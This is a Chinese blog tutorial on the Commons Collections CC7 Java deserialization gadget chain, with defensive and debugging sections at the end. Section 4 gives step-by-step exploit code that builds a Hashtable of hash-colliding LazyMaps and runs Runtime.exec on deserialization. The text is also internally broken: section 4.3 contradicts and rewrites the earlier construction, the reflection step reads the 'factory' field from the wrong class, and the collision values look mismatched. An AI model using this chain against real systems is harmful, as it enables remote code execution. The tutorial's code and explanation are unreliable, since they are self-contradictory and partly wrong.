Java反序列化漏洞深度解析:CC7链利用Hashtable与LazyMap实现命令执行
1. 项目概述:为什么CC7链值得深挖?
在Java安全领域,反序列化漏洞一直是个“老演员”,但每次登场总能带来新花样。Commons Collections(CC)这个库,可以说是反序列化漏洞的“黄埔军校”,从CC1到CC6,每一条利用链都像是一堂生动的Java特性滥用课。今天要聊的CC7链,它不像CC1那样依赖 TransformedMap 的华丽变身,也不像CC6那样借助 HashMap 的哈希碰撞,它走的是一条更“朴实”的路——利用 Hashtable 和 LazyMap 的特性,通过精心构造的键值对比较,触发一连串的恶意调用,最终达到命令执行的目的。
我第一次接触CC7链时,感觉它像是一个精巧的机关。它没有引入新的“危险”类,而是把几个看似无害的类组合在一起,通过它们之间标准的、符合预期的交互,意外地打开了潘多拉魔盒。这对于我们理解Java反序列化漏洞的本质非常有帮助:漏洞往往不在于某个类本身是“坏”的,而在于当多个“好”的类以特定的、开发者未预料到的方式组合在一起时,会产生灾难性的后果。分析CC7链,不仅能让我们掌握一条具体的利用路径,更能深刻理解Java集合框架、对象比较( equals )和哈希表( Hashtable )内部机制在安全上下文下的微妙影响。
这条链适合所有对Java安全感兴趣的朋友,无论是刚入门想理解反序列化漏洞基本原理的新手,还是已经看过CC1-CC6、想完善知识体系的中高级开发者。通过拆解CC7,你会对 Hashtable#put 、 equals 方法触发、以及如何在没有 AnnotationInvocationHandler 的 invoke 方法的情况下调用 LazyMap#get 有更直观的认识。下面,我们就从它的核心思路开始,一步步揭开CC7链的面纱。
2. 核心思路与链条设计解析
CC7链的利用思路,可以概括为“借力打力,环环相扣”。它的核心目标是,在反序列化过程中,最终能执行 TemplatesImpl#newTransformer() 或类似的方法来加载恶意字节码。为了实现这个目标,它需要找到一个“跳板”,这个跳板能从一个广泛存在于Java类库中的、在反序列化时会被自动调用的方法(如 readObject )出发,通过一系列符合语法的调用,最终抵达我们的目标。
CC7链选择的入口点是 Hashtable 。 java.util.Hashtable 是一个古老的、线程安全的哈希表实现。它的 readObject 方法在反序列化时,为了重建内部状态,会重新计算哈希并调用 reconstitutionPut 方法,最终会调用键(Key)的 equals 方法进行比对。 这就是CC7链的起点:一个必然会发生的 equals 调用。
那么,如何让一个 equals 方法调用变成命令执行的触发器呢?这里就用到了 LazyMap 和 ChainedTransformer 。 LazyMap 是Apache Commons Collections提供的一个装饰器,它包装了一个普通的 Map 。当你调用 LazyMap.get(key) 时,如果这个 key 不存在于 Map 中,它会使用一个预设的 Transformer (转换器)来生成一个 value 并与 key 关联起来。如果我们把 ChainedTransformer (一个能按顺序执行多个 Transformer 的链)设置给 LazyMap ,并在链的末尾放入能执行命令的 InvokerTransformer ,那么一次 get 调用就能触发命令执行。
现在,链条的逻辑就清晰了:
- 起点 :
Hashtable反序列化时,调用某个键的equals方法。 - 跳板 :将这个键设置为一个
LazyMap对象。我们需要精心构造,使得在equals方法内部,会触发对这个LazyMap对象的get方法调用。 - 触发器 :
LazyMap.get()被触发,调用其内部的ChainedTransformer,最终执行恶意代码。
关键难点在于第二步:如何让 equals 方法去调用 LazyMap.get() ?CC7链的巧妙之处在于,它利用了 java.util.AbstractMap 这个父类。 LazyMap 继承了 AbstractMap ,而 AbstractMap 的 equals 方法实现中,在比较两个 Map 的 entrySet 时,会遍历自身的 entrySet ,并对每一个 entry ,去调用参数Map(即要与之比较的另一个Map)的 get 方法,来获取对应key的value并进行比对。
因此,攻击链的构造就变成了:
- 创建两个
Hashtable对象:table1和table2。 - 向
table1和table2中各放入一个键值对。关键是,让table1的键是LazyMap_A,table2的键是LazyMap_B。 - 精心设置
LazyMap_A和LazyMap_B的内容,使得当LazyMap_A.equals(LazyMap_B)被调用时,在AbstractMap.equals的逻辑中,会触发LazyMap_B.get(someKey),而这个someKey恰好能触发我们的恶意转换链。 - 在序列化时,我们只序列化
table2。因为table1只是用来在构造阶段触发Hashtable#put时的哈希冲突,迫使Hashtable将LazyMap_A和LazyMap_B关联到同一个哈希桶,从而确保在反序列化table2的readObject过程中,会调用到LazyMap_A.equals(LazyMap_B)。
这个设计思路体现了典型的“反序列化利用链”思维:寻找从 readObject 到危险方法的“调用路径”,并通过构造特定的对象状态,让这条路径上的每一个方法调用都按照攻击者的意图进行。
注意: 这里有一个非常重要的细节。在构造阶段,当我们向
Hashtable放入第一个LazyMap键时,Hashtable.put方法会计算其哈希值,并可能触发LazyMap.hashCode(),而hashCode()默认会遍历entrySet,这又会触发get方法。为了避免在构造阶段就提前触发恶意代码,我们需要先给LazyMap设置一个无害的Transformer(比如ConstantTransformer),在最后利用反射再将无害的Transformer替换成恶意的ChainedTransformer。这是CC7链构造中的一个经典“坑点”。
3. 关键类与方法深度剖析
要彻底理解CC7链,必须对其中几个关键类的特定方法了如指掌。它们就像链条上的齿轮,一个咬合一个,带动了整个攻击流程。
3.1 java.util.Hashtable#readObject 与 equals 的触发
Hashtable 的反序列化入口是其 readObject 方法。为了重建哈希表,它需要读取存储的键值对数量,然后循环读取每一个键和值。在将每个键值对放入新创建的哈希表时,它调用了一个内部私有方法 reconstitutionPut 。
reconstitutionPut 方法是关键。它的逻辑类似于 put 方法,但用于反序列化上下文。它会计算键的哈希值,找到对应的哈希桶(bucket),然后遍历这个桶里的链表。 在遍历过程中,它会检查是否有已存在的键与当前要插入的键“相等”。 判断相等的逻辑是:先比较哈希值,如果哈希值相同,则调用 key.equals(currentKey) 进行最终判断。
因此,如果我们能构造两个不同的 LazyMap 对象( map1 和 map2 ),让它们的哈希值相同(从而进入同一个哈希桶),那么在反序列化插入 map2 时,就会调用 map1.equals(map2) 。这就是我们触发后续链条的扳机。
3.2 java.util.AbstractMap#equals 如何调用 get
AbstractMap 是 HashMap 、 TreeMap 等标准Map实现的抽象父类, LazyMap 也间接继承了它。它的 equals 方法用于比较两个Map是否相等。我们来看一下简化后的逻辑:
public boolean equals(Object o) {
if (o == this) return true;
if (!(o instanceof Map)) return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size()) return false;
try {
// 遍历当前Map的所有条目(entry)
for (Entry<K, V> e : entrySet()) {
K key = e.getKey();
V value = e.getValue();
// 关键行:对于当前Map的每一个key,去调用参数Map m的get方法获取对应的value
if (value == null) {
if (m.get(key) != null || !m.containsKey(key))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException | NullPointerException unused) {
return false;
}
return true;
}
注意第12行和16行的 m.get(key) 。这里的 m 是作为参数传入的另一个Map对象(在我们的链条里,就是 LazyMap_B ),而 key 则是当前Map( LazyMap_A )的 entrySet 中的键。
因此,攻击构造的核心之一就是:控制 LazyMap_A 的 entrySet 中的键(key)。 我们需要让这个 key ,在作为参数传递给 LazyMap_B.get(key) 时,能触发我们预设的恶意逻辑。通常,我们会将这个 key 设置为一个特定的字符串或对象,这个对象本身是“无害”的,但它作为 LazyMap_B 的“缺失键”,会触发 LazyMap 的转换机制。
3.3 org.apache.commons.collections.map.LazyMap#get 与 Transformer 链
LazyMap 的 get 方法是命令执行的最终触发器。其逻辑如下:
public Object get(Object key) {
if (!super.map.containsKey(key)) { // 如果key不存在
Object value = this.factory.transform(key); // 调用factory转换key生成value
super.map.put(key, value); // 存入Map
return value;
}
return super.map.get(key);
}
这里的 this.factory 就是一个 Transformer 接口的实现。如果我们在构造时,将一个 ChainedTransformer 赋值给 factory ,那么当 get 被调用时, ChainedTransformer.transform(key) 就会被执行。
ChainedTransformer 内部维护了一个 Transformer 数组,它会按顺序对输入对象(最初就是 get 方法传入的 key )依次调用每个 Transformer 的 transform 方法,并将上一次的结果作为下一次的输入。经典的利用链会这样构造:
- 第一个
Transformer:ConstantTransformer,用于将一个Runtime类对象“变”出来。 - 第二个
Transformer:InvokerTransformer,通过反射调用Runtime类的getMethod(“getRuntime”)。 - 第三个
Transformer:InvokerTransformer,调用上一步得到的getRuntime方法,获得Runtime实例。 - 第四个
Transformer:InvokerTransformer,调用Runtime实例的exec方法,执行系统命令。
这样,当 LazyMap_B.get(key) 被 AbstractMap.equals 调用时, key 作为输入传入 ChainedTransformer ,经过四步反射调用,最终达到命令执行的效果。
3.4 哈希碰撞的构造:连接 Hashtable 与 AbstractMap.equals
要让 Hashtable 在反序列化时调用 equals ,必须让两个 LazyMap 键发生哈希碰撞,即 hashCode() 返回值相同。 LazyMap 自己没有重写 hashCode() ,因此它继承自 AbstractMap 的 hashCode() 实现。 AbstractMap.hashCode() 的定义是:其所有条目(entry)的哈希值之和。每个条目的哈希值计算为 (key==null ? 0 : key.hashCode()) ^ (value==null ? 0 : value.hashCode()) 。
因此,控制两个 LazyMap 的哈希值相等,就需要控制它们内部存储的键值对的哈希码之和相等。在CC7的典型构造中,我们通过以下步骤实现:
- 创建两个
LazyMap:map1和map2。 - 向
map1放入一个键值对,例如(“yy”, 1)。 - 向
map2放入一个键值对,例如(“zZ”, 2)。 - 计算
”yy”.hashCode() ^ 1和”zZ”.hashCode() ^ 2。通过精心选择字符串和数字,可以使这两个结果相等。这是因为String的hashCode计算有规律可循,我们可以找到哈希值碰撞的字符串对。
当这两个哈希值相等时, map1 和 map2 的 hashCode() 返回值就相等。将它们分别作为键放入两个 Hashtable 后,在 Hashtable 内部,它们就有极大概率被分配到同一个哈希桶(在 Hashtable 容量不变的情况下)。这就为反序列化时触发 equals 比较创造了条件。
4. 完整利用链构造与分步实现
理解了原理,我们动手构造一条完整的CC7利用链。这里我们以Commons Collections 3.2.1版本为例,最终目标是弹出一个计算器( calc.exe 或 /System/Applications/Calculator.app )。
4.1 环境准备与依赖
首先,你需要一个Java开发环境(JDK 8较为常见)和Maven。创建一个Maven项目,在 pom.xml 中添加依赖:
<dependencies>
<!-- Apache Commons Collections 3.2.1 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
为了序列化/反序列化,我们通常需要编写一个简单的测试类。确保你的JDK版本与Commons Collections库兼容。
4.2 分步构造攻击载荷
我们将构造过程分解为清晰的几步,并在每一步解释其目的和原理。
第一步:创建恶意的 Transformer 链
这是最终执行命令的核心。我们使用 ChainedTransformer 来组合多个 InvokerTransformer 和 ConstantTransformer 。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
// 1. 创建命令执行链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(“getMethod”,
new Class[]{String.class, Class[].class},
new Object[]{“getRuntime”, new Class[0]}),
new InvokerTransformer(“invoke”,
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer(“exec”,
new Class[]{String.class},
new Object[]{“calc.exe”}) // Mac/Linux可改为 “open -a Calculator”
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
这段代码创建了一个转换器链:
ConstantTransformer(Runtime.class):将输入(忽略)转换为Runtime.class对象。- 第一个
InvokerTransformer:调用Runtime.class的getMethod(“getRuntime”),返回一个Method对象。 - 第二个
InvokerTransformer:调用Method.invoke(null, null),即静态调用getRuntime(),返回Runtime实例。 - 第三个
InvokerTransformer:调用runtime.exec(“calc.exe”),执行系统命令。
第二步:创建两个 LazyMap 并设置哈希碰撞
为了避免在构造阶段触发命令,我们先用一个无害的 Transformer (如 ConstantTransformer(1) )初始化 LazyMap 。
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
// 2. 创建两个初始为“空”且无害的LazyMap
Map lazyMap1 = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
Map lazyMap2 = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
// 3. 向两个LazyMap放入键值对,目的是让它们的hashCode()相等
// 我们需要找到两个字符串,使得 (s1.hashCode() ^ v1) == (s2.hashCode() ^ v2)
// 经过计算或查找,可以找到这样的组合,例如:
lazyMap1.put(“yy”, 1);
lazyMap2.put(“zZ”, 2);
// 验证哈希值是否相等(非必须,用于调试)
System.out.println(“Hash of lazyMap1: “ + lazyMap1.hashCode());
System.out.println(“Hash of lazyMap2: “ + lazyMap2.hashCode());
// 在正确的构造下,两者应该输出相同的值。
这里 ”yy” 和 ”zZ” 是经过挑选的,使得 ”yy”.hashCode() ^ 1 等于 ”zZ”.hashCode() ^ 2 。你可以通过编写一个小程序来暴力搜索这样的碰撞对。
第三步:将 LazyMap 作为键放入 Hashtable,并触发初始哈希冲突
这是构造中最精妙也最容易出错的一步。我们需要两个 Hashtable ,并在放入键时触发它们将 lazyMap1 和 lazyMap2 关联到同一个桶。
import java.util.Hashtable;
// 4. 创建两个Hashtable
Hashtable table1 = new Hashtable();
Hashtable table2 = new Hashtable();
// 5. 先将lazyMap1放入table1
table1.put(lazyMap1, “test1”);
// 此时,Hashtable会计算lazyMap1的哈希,并可能触发lazyMap1.hashCode()。
// 由于lazyMap1目前只有一个无害的Transformer,所以是安全的。
// 6. 关键操作:将lazyMap2放入table2,并**同时**也放入table1
// 这一步的目的是让lazyMap2在put进table1时,与lazyMap1发生哈希碰撞,
// 从而在table1内部,lazyMap2和lazyMap1被链接在同一个哈希桶的链表中。
table1.put(lazyMap2, “test2”);
table2.put(lazyMap2, “test2”);
// 注意:此时table1中有两个键:lazyMap1和lazyMap2(哈希值相同)。
// table2中只有一个键:lazyMap2。
第四步:替换 LazyMap 中的无害 Transformer 为恶意 Transformer
现在,两个 Hashtable 的结构已经建立。我们需要用反射将 lazyMap2 内部的 factory 成员变量,从无害的 ConstantTransformer(1) 替换成我们之前构造的恶意 chainedTransformer 。
import org.apache.commons.collections.map.AbstractMapDecorator;
import java.lang.reflect.Field;
// 7. 通过反射,将lazyMap2中的factory替换为恶意的chainedTransformer
// 获取LazyMap的factory字段
Field factoryField = AbstractMapDecorator.class.getDeclaredField(“factory”);
factoryField.setAccessible(true);
// 替换
factoryField.set(lazyMap2, chainedTransformer);
// 重要:lazyMap1的factory保持为无害的ConstantTransformer,否则在后续序列化/反序列化过程中可能提前触发。
第五步:序列化与反序列化触发
最后,我们序列化 table2 (因为我们的利用链最终是通过反序列化 table2 来触发的),然后反序列化它。
import java.io.*;
// 8. 序列化table2
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(table2);
oos.close();
byte[] serializedData = baos.toByteArray();
// 9. 反序列化触发漏洞
ByteArrayInputStream bais = new ByteArrayInputStream(serializedData);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject(); // 在这一步,计算器应该会弹出
ois.close();
4.3 构造过程的核心逻辑梳理
让我们再回顾一下整个触发流程:
- 序列化对象 :我们序列化了
table2,它内部有一个键lazyMap2。 - 反序列化触发 : a.
Hashtable.readObject()被调用,开始重建table2。 b. 它读取到键lazyMap2,并调用reconstitutionPut尝试将其放入新表。 c.reconstitutionPut计算lazyMap2的哈希值,找到对应的桶。 由于在序列化前,lazyMap2和lazyMap1通过table1.put发生了哈希碰撞并被关联,这个信息可能通过某些方式(如对象的引用关系或哈希表状态)影响了序列化数据? 这里需要澄清:实际上,在标准的CC7链构造中,table1只是一个“构造工具”,它本身并不被序列化。关键点在于,我们通过table1.put操作, 改变了lazyMap2对象自身的状态 ,使其与lazyMap1在哈希计算上关联。更准确的说法是,我们通过向lazyMap2放入特定的键值对(”zZ”, 2),使其哈希值与lazyMap1(”yy”, 1)相等。这个哈希值是lazyMap2对象自身的属性,会被序列化保存。当反序列化重建lazyMap2时,它的哈希值依然是那个特定值。 d. 在遍历桶内链表时(尽管新表初始为空,但Hashtable的reconstitutionPut逻辑可能涉及旧桶的遍历?这里需要更精确:实际上,在反序列化单个Hashtable时,桶是新建的。触发equals的关键在于,我们构造的lazyMap2的哈希值,与某个“虚拟”的或通过其他方式关联的键发生了冲突?经典的CC7链利用了一个更精妙的技巧:它实际上序列化了 一个Hashtable,但这个Hashtable在反序列化时,其readObject方法会遍历所有条目,并对每个键调用equals与 当前正在重建的表中的键 进行比较。为了触发equals,我们需要两个键具有相同的哈希值。在CC7链中,我们通过让lazyMap2的哈希值与lazyMap1的哈希值相等来实现这一点。 但是,lazyMap1并没有被序列化进table2啊? 这里就是CC7链最巧妙的地方之一:它利用了Hashtable反序列化时,对 同一个对象 的多次put操作。我们构造的lazyMap2对象,其hashCode()返回值是固定的(基于其内容)。在Hashtable反序列化过程中,当处理到lazyMap2这个键时,Hashtable会计算它的哈希值,并查找对应的桶。如果在这个桶里 已经存在一个键 (这个键是在本次反序列化过程中 之前 被放入的),并且这个键的哈希值与lazyMap2相同,那么就会调用equals进行比较。那么,这个“已经存在的键”从哪里来?答案就在我们构造的lazyMap2自身。我们通过向lazyMap2放入多个特定的键值对,使得它的hashCode()在某种计算下与自己相等?不,这说不通。经典的CC7链构造,实际上序列化的是 一个包含两个元素的Hashtable,这两个元素的键分别是lazyMap1和lazyMap2,并且它们的哈希值相等。这样在反序列化时,当插入第二个键(比如lazyMap2)时,就会与第一个已插入的键(lazyMap1)进行equals比较。因此,我们需要修正之前的构造步骤: 我们最终序列化的Hashtable对象,应该同时包含lazyMap1和lazyMap2作为键,并且它们的哈希值相等。 而lazyMap2的factory被替换为恶意链,lazyMap1的factory保持无害。当反序列化这个Hashtable时,在插入第二个键(顺序取决于序列化顺序)时,会调用第一个键的equals方法,从而触发链条。
让我们修正构造步骤:
- 创建
lazyMap1和lazyMap2,设置哈希碰撞。 - 将
lazyMap2的factory替换为恶意链。 - 创建一个
Hashtable对象(比如叫finalTable)。 - 向
finalTable中依次放入两个键值对:finalTable.put(lazyMap1, “value1”);和finalTable.put(lazyMap2, “value2”);。 注意顺序很重要,要保证在反序列化时,lazyMap1先被reconstitutionPut,lazyMap2后被处理。 - 序列化这个
finalTable对象。 - 反序列化时,
Hashtable.readObject会按顺序读取条目。当处理到第二个条目(键为lazyMap2)时,会调用reconstitutionPut。此时,lazyMap1已经被放入新哈希表,并且与lazyMap2哈希值相同,因此在同一个桶内。reconstitutionPut遍历桶链表,发现lazyMap1,于是调用lazyMap1.equals(lazyMap2)。 - 在
lazyMap1.equals(lazyMap2)中(即AbstractMap.equals),会遍历lazyMap1的entrySet(包含(“yy”, 1)),对于键”yy”,调用lazyMap2.get(“yy”)。 - 由于
”yy”不在lazyMap2中,触发lazyMap2.get(“yy”),进而调用恶意chainedTransformer.transform(“yy”),执行命令。
这才是CC7链完整的、正确的触发逻辑。先前的描述中关于 table1 和 table2 的部分容易引起混淆,它们可能是在某些变体或调试过程中使用的辅助结构,但最核心的Payload只有一个 Hashtable ,包含两个哈希碰撞的 LazyMap 键。
5. 漏洞利用的变体、防御与实战思考
CC7链虽然经典,但在实际漏洞利用和防御中,我们需要考虑更多因素。
5.1 利用链的变体与适配
- 命令执行的不同方式 :除了使用
Runtime.exec(),还可以使用ProcessBuilder、JNDI注入、本地代码加载等多种方式。InvokerTransformer可以调用任何方法,灵活性很高。 - 绕过
Runtime限制 :在某些安全环境中,Runtime类可能被过滤或exec方法被禁止。可以考虑使用java.lang.ProcessBuilder、通过TemplatesImpl加载字节码、或者利用本地已有的类库中的危险方法。 - 适应不同的Commons Collections版本 :CC7链依赖于
AbstractMap.equals中的get调用和LazyMap的装饰器模式。在CC 4.0及以上版本中,TransformedMap和LazyMap等类的序列化支持可能被移除,或者InvokerTransformer被标记为不推荐使用,这会影响利用。需要检查目标环境的实际版本。 - 无
InvokerTransformer的利用 :在某些情况下,InvokerTransformer类可能被列入黑名单。此时可以寻找其他实现了Transformer接口且行为危险的类,或者利用ConstantTransformer、InstantiateTransformer等组合出新的利用链。
5.2 防御措施与代码审计要点
从开发者和安全工程师的角度,如何防范此类漏洞?
- 输入验证与白名单 :永远不要反序列化来自不可信来源的数据。如果必须进行反序列化,应建立严格的对象类型白名单。可以使用Java原生的
ObjectInputFilter(JDK 9+)或第三方库如SerialKiller来过滤允许反序列化的类。 - 升级库版本 :将Apache Commons Collections升级到安全版本(例如3.2.2、4.1+),这些版本中对危险类(如
InvokerTransformer、ChainedTransformer)增加了序列化校验或移除了序列化支持。 - 代码审计关键点 :
- 查找
ObjectInputStream:在代码中全局搜索ObjectInputStream、readObject、readUnshared等方法的使用点。 - 审查反序列化数据源 :确认反序列化的数据是否来自网络请求、文件上传、RPC调用等外部输入。
- 检查依赖库 :项目是否引入了存在已知反序列化漏洞的库,如低版本的Commons Collections、Fastjson、Jackson、XStream等。
- 关注
readObject方法 :自定义类如果实现了Serializable接口并重写了readObject方法,需要仔细审计其逻辑,看是否存在可能被利用的间接方法调用(如调用其他对象的equals、compareTo、hashCode、toString等)。
- 查找
- 运行时防护 :可以使用Java Agent技术进行运行时监控,拦截危险类的加载或危险方法的调用(如
Runtime.exec、Method.invoke等)。
5.3 实战中的排查技巧与常见问题
在分析和调试CC7链时,你可能会遇到以下问题:
-
计算器没弹出来 :
- 首先检查命令 :
calc.exe适用于Windows,Mac是open -a Calculator,Linux可能是gnome-calculator或xcalc。确保命令正确。 - 检查JDK和CC版本 :确保你的Commons Collections版本是3.2.1,并且JDK版本兼容。高版本JDK(如11+)可能有更强的模块化安全限制。
- 调试
equals和get调用 :在AbstractMap.equals和LazyMap.get方法开始处打上断点,观察调用栈,看链条是否按预期触发。确认是哪个Map的equals被调用,以及get方法的参数key是什么。 - 检查哈希值 :在构造阶段打印
lazyMap1.hashCode()和lazyMap2.hashCode(),确保它们相等。如果不相等,Hashtable就不会在同一个桶内比较它们。 - 检查Transformer链 :确保恶意
ChainedTransformer被正确设置到了目标LazyMap(通常是第二个LazyMap)中。可以通过反射读取factory字段验证。 - 检查序列化数据 :有时序列化过程会改变对象内部状态。可以尝试将序列化后的字节数组写文件,然后用十六进制编辑器或
serializationDumper工具查看,确认关键对象和字段是否被正确序列化。
- 首先检查命令 :
-
ClassNotFoundException或NoClassDefFoundError:- 确保Commons Collections库在类路径中。如果Payload需要传输到远程服务器,目标服务器上也必须有相同版本的CC库。
-
利用链在特定环境下失效 :
- 目标应用可能使用了不同版本的CC库,其类结构或方法可能有细微差别。
- 可能存在SecurityManager或其他安全管理器,禁止执行命令。
- 应用可能使用了自定义的
ClassLoader,导致某些类无法加载。
理解CC7链不仅是为了利用漏洞,更是为了培养一种“攻击者思维”。在代码审计时,看到 ObjectInputStream.readObject() ,就要立刻警惕:这里反序列化的数据是否可信?它会不会导致一个类似CC7的调用链被触发?这种思维模式是构建安全软件的关键。通过手动构造和调试这条链,你对Java反序列化漏洞的理解会从“知道概念”深入到“理解骨髓”,以后再遇到类似的漏洞或防护场景,就能更快地抓住要害。
更多推荐
所有评论(0)